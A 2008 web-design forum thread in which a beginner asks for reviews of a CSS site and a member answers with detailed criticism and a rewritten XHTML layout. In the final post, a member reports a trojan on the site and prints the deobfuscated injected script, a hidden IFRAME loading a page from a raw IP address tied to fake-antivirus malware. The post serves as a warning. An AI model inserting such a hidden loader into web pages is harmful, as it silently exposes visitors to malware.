MY Second CSS

Discussion in 'HTML & Website Design' started by m3ltdown, Aug 9, 2008.

  1. #1
    After developing parts of PHP,VB,HTML,CSS

    My Second ever CSS SITE.




    Took me 1 day - Reviews please.
     
    m3ltdown, Aug 9, 2008 IP
  2. kolkka

    kolkka Peon

    Messages:
    24
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    I don't see a link:confused:
     
    kolkka, Aug 9, 2008 IP
  3. m3ltdown

    m3ltdown Peon

    Messages:
    536
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #3
    m3ltdown, Aug 9, 2008 IP
  4. deathshadow

    deathshadow Acclaimed Member

    Messages:
    9,732
    Likes Received:
    1,999
    Best Answers:
    253
    Trophy Points:
    515
    #4
    Just to warn you - I review something I give it the Simon Cowell treatment, especially when it's posted in the coding area.

    First off if you are actually USING CSS, you shouldn't be declaring 'align="center" on damned near every line - especially on elements where that's not even valid markup. That's presentation, that goes in your CSS.

    You should try code validation sometime - with 48 validation errors you do not have HTML, you have gibberish.

    Your classnames are cryptic at best, meaningless at worst (Style48?) you have three to four times the number of DIV's and SPAN's than should be needed for such a simple layout, and you have nothing even resembling semantic use of tags.

    The use of a table for a single TH is just /FAIL/.

    Assuming we take out the inlined stylesheet you have 7.7k of markup for 2.2k of content - as such I would say about a third of your HTML is unneccessary redundant bloat.

    You also have content overflow issues, probably stemming from using a fixed-height background (?!?) since on large font/120 dpi machines your content text runs past the white background at the bottom.

    Looking at the CSS I'm actually sitting here looking for the generator tag or some other telltale to tell me what WYSIWYG you used - since no human would write code like this.

    On your products in the sidebar, saying 'now in stock' as the 'header' is confusing and kind of pointless. The BIG header should be the product name, which should likely also be a link to buy the product, making the 'buy now' text redundant.

    If I were to write the HTML to which CSS would be applied it would go something like this:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    <html
    	xmlns="http://www.w3.org/1999/xhtml"
    	lang="en"
    	xml:lang="en"
    ><head>
    
    <meta
    	http-equiv="Content-Type"
    	content="text/html; charset=iso-8859-1"
    />
    
    <title>
    	Home - Lower Your Weight
    </title>
    
    </head><body>
    
    <!--
    	empty spans below are image sandbags, do not remove
    -->
    
    <div id="container">
    
    	<h1>
    		Lower <b>Your</b> Weight
    		<span></span>
    	</h1>
    
    	<div id="advert">Advertisement goes here</div>
    
    	<ul id="mainMenu">
    		<li class="food"><a href="#">Food<span></span></a></li>
    		<li class="exercise"><a href="#">Exercise<span></span></a></li>
    		<li class="research"><a href="#">Research<span></span></a></li>
    		<li class="goals"><a href="#">Goals<span></span></a></li>
    	</ul>
    
    	<ul id="subMenu">
    		<li><a href="#">Submit your Stories</a></li>
    		<li><a href="#">Real Articles</a></li>
    		<li><a href="#">Forums/Journals</a></li>
    		<li><a href="#">Free Recipes</a></li>
    		<li><a href="#">Buy E-Books</a></li>
    	</ul>
    
    	<div id="contentWrapper"><div id="content">
    		<img
    			src="images/veg.jpg"
    			width="426" height="176"
    			alt="Assorted Vegetables"
    		/>
    		<h2>
    			Welcome To Lower Your Weight<br />
    			Currently Under development
    		</h2>
    		<p>
    			Lower Your weight is packed full of advice, tips and help on helping
    			great a better YOU! We'll help anyone and everyone and make sure
    			your getting the right foods, exercise and fitness to create the
    			results you want.
    		</p><p>
    			Vel quibus proprius in fatua ibidem adsum rusticus indoles, erat,
    			consequat iriure melior lobortis praesent. Odio ex venio wisi ut
    			consequat, vero, interdico gemino vindico feugiat tation dignissim
    			ut in. Tation turpis quibus, camur, nobis quidne in. Valetudo
    			feugait qui valde capto demoveo virtus. Esca olim vindico esse
    			macto causa similis quae ex secundum consequat vero quidem
    			commoveo.
    		</p><p>
    			Typicus tum modo defui adipiscing facilisi nimis ut. Feugait odio
    			jumentum lobortis, capto patria delenit. Eligo elit tamen dignissim
    			magna ymo neque bis blandit abluo, nisl praesent. Sudo, uxor, tation
    			verto metuo in scisco. Eum camur ventosus consequat quis vel tation
    			virtus typicus, tristique, quadrum. Multo dignissim meus, saepius,
    			multo virtus vulputate ingenium suscipere ad secundum facilisi, exerci,
    			in. Tego facilisi consequat, abluo amet iusto capio tristique. Feugiat
    			adsum plaga lenis, valetudo enim luctus augue in ad venio, aliquam
    			lobortis ille exerci.
    		</p>
    	<!-- #content, #contentWrapper --></div></div>
    
    	<div id="sideBar">
    		<h2>5 Ways to achieve A better you!</h2>
    		<h3>Good Nutrition</h3>
    		<p>
    			Good nutrition reduces your risk of getting a large number of diseases,
    			from diabetes to heart disease.
    		</p><p>
    			Being over or under weight can have serious knock-on effects and put
    			strain on your body's other systems. Eating regular fruit creates a
    			good balance of nutrition.
    		</p>
    
    		<div class="imageCaption">
    			How Much Per Day?
    			<img
    				src="images/fruits2.jpg"
    				width="140" height="90"
    				alt="some fruit"
    			/>
    		</div>
    
    		<h3>Regular Running</h3>
    		<p>
    			Regular running keeps your heart heathly and your fitness level high
    			cardio helps develope the body by keeping it in great shape.
    		</p>
    
    		<div class="imageCaption">
    			How often should I run?
    			<img
    				src="images/running.jpg"
    				width="140" height="70"
    				alt="Man Running"
    			/>
    		</div>
    
    		<h2>We Sponsor Charities</h2>
    		Cancer Research UK<br />
    		<a href="#">
    			Help the Aged and Save Lifes Today
    			<img
    				src="images/donate.png"
    				width="170" height="69"
    				alt="Donate via Paypal"
    			/>
    		</a>
    	<!-- #sideBar --></div>
    
    	<div id="shoppingBar">
    		<h2>Shopping</h2>
    
    		<ul class="cartControls">
    			<li><a href="#">Go Shop</a></li>
    			<li><a href="#">View Cart</a></li>
    			<li><a href="#">Empty Cart</a></li>
    		</ul>
    
    		<h3>Now in Stock!</h3>
    
    		<div class="product">
    			<h4><a href="#">Premier Runners</a></h4>
    			<div class="price">Price: <strong>&pound;35</strong></div>
    			<img
    				src="images/products/premierRunners.jpg"
    				width="96" height="128"
    				alt="Premier Running Shoes"
    			/>
    		</div>
    
    		<div class="product">
    			<h4><a href="#">Eating Healthy E-Book</a></h4>
    			<div class="price">Price: <strong>&pound;???</strong></div>
    			<img
    				src="images/products/eatingHealthy.jpg"
    				width="96" height="128"
    				alt="Eating Healthy"
    			/>
    		</div>
    
    		<div class="product">
    			<h4><a href="#">3DX Boxing Gloves</a></h4>
    			<div class="price">Price: <strong>&pound;25</strong></div>
    			<img
    				src="images/products/3DXBoxingGloves.jpg"
    				width="96" height="128"
    				alt="3DX Boxing Gloves"
    			/>
    		</div>
    
    	<!-- #shoppingBar --></div>
    
    <!-- #container --></div>
    
    </body></html>
    Code (markup):
    That's pretty much it. Everything else you are doing on the page should be done in the CSS. Note the proper use of heading tags (which evens out some of your consistancy issues), lack of throwing classes and presentational attributes at everything, and valid markup.

    When working with a CSS layout your best bet is to first go through and markup everything as what it is - headings as headings, put sections together in DIV's, content images as IMG tags. You can then go back through and add a couple container div's to where you think you'll need them (like #containerWrapper which lets us do a dynamic width content first center column), and image sandbags for your presentational images. (See those empty spans). Keeps your markup clean, makes it easier to edit, and lets you do the most important thing in a CSS layout, keep proper separation of presentation from content as much as possible.

    If I have time later I'll toss together an example CSS for that and document it line-by-line - I often do freebies like this for people new to CSS on the 'teach a man to fish' principle.

    Give a man a fish, he'll eat for a day. Teach a man to fish, he'll bore you to death on the Outdoor Life Network.
     
    deathshadow, Aug 9, 2008 IP
    canam likes this.
  5. canam

    canam Peon

    Messages:
    475
    Likes Received:
    15
    Best Answers:
    0
    Trophy Points:
    0
    #5
    nice of you deathshadow and the tips were very well explained, thanks for that
     
    canam, Aug 9, 2008 IP
  6. Website Tiger

    Website Tiger Guest

    Messages:
    351
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    0
    #6
    EVERYONE- that website has a trojan virus right when I clicked on the link my antivirus caught a trojan virus
     
    Website Tiger, Aug 9, 2008 IP
  7. deathshadow

    deathshadow Acclaimed Member

    Messages:
    9,732
    Likes Received:
    1,999
    Best Answers:
    253
    Trophy Points:
    515
    #7
    That would be this (after deobfuscating the code):
    
    <script>if (!myia) {
    		d.write('<IFRAME name=O1 src=\'http://77.221.133.171/.if/go.html\'+Math.round(Math.random()*139825)+'dc2e6e\' width=329 height=425 style=\'display: none\'></IFRAME >');
    	}
    	var myia=true;
    </script>
    Code (markup):
    Which appears to point to something that is on opera's malicious website list - so yeah. Don't browse this unprotected in IE unless you are a dumbass.

    Ah, I see, it's that 'advancedXPDefender' nonsense - malware trap from hell.
     
    deathshadow, Aug 9, 2008 IP